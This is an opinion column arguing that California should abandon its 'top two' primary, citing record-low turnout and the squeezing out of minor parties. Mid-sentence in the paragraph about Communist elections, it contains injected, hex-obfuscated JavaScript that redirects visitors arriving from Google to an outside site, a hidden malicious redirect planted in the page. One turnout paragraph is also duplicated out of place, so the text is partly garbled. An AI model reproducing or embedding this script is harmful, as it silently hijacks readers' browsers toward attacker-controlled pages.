Dem: State should nix ‘top two’

On Saturday, June 7, 2014, California Chrome will face 10 other horses in an attempt to win the Triple Crown for the first time since Affirmed won it in 1978.On November 4, 2014 in all the partisan races, California voters will see only 2 “horses”, and in many of them will be from the same stable (Democrat or Republican), despite California having seven recognized political parties.

When the Communists announced years ago that they would start holding elections, some had only two candidates and both were from the Communist Party var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. The US condemned them.

“Last Tuesday (June 3), with a turnout of 18.3% (it might hit 22% or 23% when all ballots are counted) will be the lowest in the history of California elections, breaking the previous lowest turnout of 28.2% in June 2008.

If Iraq or Afghanistan, in their recent elections, had only two candidates and both were from the same Party, the West would have denounced those elections as a fraud.

Abel Maldonado and Steve Peace (author of California’s electricity deregulation scheme, costing Californians tens of billions of dollars in extra charges by Enron, etc.) forced the Top Two disaster onto California and they promised that democracy would flourish with big increases in turnouts. Last Tuesday (June 3), with a turnout of 18.3% (it might hit 22% or 23% when all ballots are counted) will be the lowest in the history of California elections, breaking the previous lowest turnout of 28.2% in June 2008.

But that year California held its presidential primary in February with a turnout of 57.1% (Obama vs Clinton).Since Top Two, otherwise known as Only Two, crushes minor parties, fewer and fewer minor party candidates are filing. One day soon, the voters will vote to return to the system that worked fine for decades, where each party’s nominee goes onto the November ballot. In fact, Prop 60 (guaranteeing that) passed with 68% of the vote (Nov 2004) while on the same ballot was Top Two (Prop 62) which the voters rejected with a 53.9% No vote.

This Top Two (Prop 14) passed with only 53.8% in June 2010 as part of a bribe offer for Maldonado to vote for the budget.

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Ed’s Note: Bob Mulholland is a political activist and former senior adviser to the California Democratic Party.

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